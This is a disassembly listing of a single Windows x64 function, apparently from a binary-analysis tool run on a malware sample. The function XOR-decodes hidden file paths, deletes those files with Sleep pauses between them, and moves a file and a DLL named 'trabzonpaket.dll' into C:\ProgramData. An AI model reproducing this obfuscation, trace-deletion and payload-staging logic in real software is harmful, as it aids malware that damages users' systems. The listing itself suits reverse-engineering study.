Function at 0x140002130
Capabilities:
Delete file
Encode data using xor
Move file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x18]
sub rsp, 0x110
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
movaps xmmword [rax - 0x38], xmm8
mov rax, qword [0x140022010]
xor rax, rsp
mov qword [rbp - 0x30], rax
movups xmm0, xmmword [0x14001d4d0]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [0x14001d4e0]
movups xmmword [rsp + 0x30], xmm1
mov esi, 5
xor edi, edi
lea r14d, [rsi + 0x1a]
mov ebx, dword [reloc.WS2_32.dll_accept]
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x140002332
mov r8d, edi
cmp ebx, 2
jl 0x1400022f9
movdqa xmm5, xmmword [0x14001dc20]
mov edx, edi
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x24]
mov r8d, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x1400021f0
jmp 0x140002332
lea r9, [rsp + 0x20]
nop
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140002300
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
je 0x140002349
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [str.FAUWLXVI_PYI]
movups xmmword [rsp + 0x20], xmm0
movzx eax, byte [0x14001d888]
mov byte [rsp + 0x30], al
mov r8d, edi
cmp ebx, 2
jl 0x1400024bf
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x24]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400023b0
cmp r8d, 0x11
jge 0x140002503
movsxd rax, r8d
lea r9, [rsp + 0x20]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400024d0
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
je 0x14000251a
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [str.q_theDX_K_VxJ]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [0x14001d7d0]
movups xmmword [rsp + 0x30], xmm1
mov eax, dword [str.82U]
mov dword [rsp + 0x40], eax
mov r8d, edi
cmp ebx, 2
jl 0x14000268f
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x24]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140002580
cmp r8d, 0x24
jge 0x1400026d3
movsxd rax, r8d
lea r9, [rsp + 0x20]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x1400026a0
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
je 0x1400026ea
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [str.Q_QFBRJ_OVPZ]
movups xmmword [rsp + 0x20], xmm0
mov eax, dword [0x14001d7a8]
mov dword [rsp + 0x30], eax
movzx eax, byte [0x14001d7ac]
mov byte [rsp + 0x34], al
mov ecx, edi
cmp ebx, 2
jl 0x14000285c
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x24]
mov r8d, dword [rsp + 0x50]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
pxor xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
pxor xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140002750
cmp ecx, 0x15
jge 0x14000289e
movsxd rax, ecx
lea r8, [rsp + 0x20]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x15
jl 0x140002870
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
je 0x1400028b5
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x14001dcb0]
movdqu xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [str.kjpnWVM]
movdqu xmmword [rsp + 0x30], xmm1
mov dword [rsp + 0x40], 0x411a0807
mov dword [rsp + 0x44], 0x1e1d14
mov byte [rsp + 0x48], 1
mov rcx, rdi
nop dword [rax]
lea eax, [rcx + 0x4c]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x27
jb 0x1400028f0
mov byte [rsp + 0x48], dil
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], recv
mov byte [rbp - 0x50], dil
mov r8d, 0x27
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x50]
call fcn.140010410
nop
movdqa xmm0, xmmword [0x14001dcb0]
movdqu xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [0x14001dc80]
movdqu xmmword [rsp + 0x70], xmm1
mov dword [rbp - 0x80], 0xb0f0101
mov dword [rbp - 0x7c], 0x5d13088d
mov dword [rbp - 0x78], 0x4141e
mov byte [rbp - 0x74], 1
mov rcx, rdi
nop word [rax + rax]
lea eax, [rcx + 0x4c]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0x2b
jb 0x140002970
mov byte [rbp - 0x74], 0
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], recv
mov r8d, 0x2b
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x70]
call fcn.140010410
lea rcx, [rbp - 0x70]
call fcn.140001ef0
lea rcx, [rbp - 0x50]
call fcn.140001ca0
lea rdx, str.C:ProgramDatachesterbumlad
lea rcx, str.chesterbumlad
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x1400029d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.C:ProgramData_trabzonpaket.dll
lea rcx, str.trabzonpaket.dll
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x1400029f6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140002a34
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a2f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019790
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], recv
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x140002a82
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a7d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019790
mov rcx, qword [rbp - 0x30]
xor rcx, rsp
call fcn.140019770
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop rbp
ret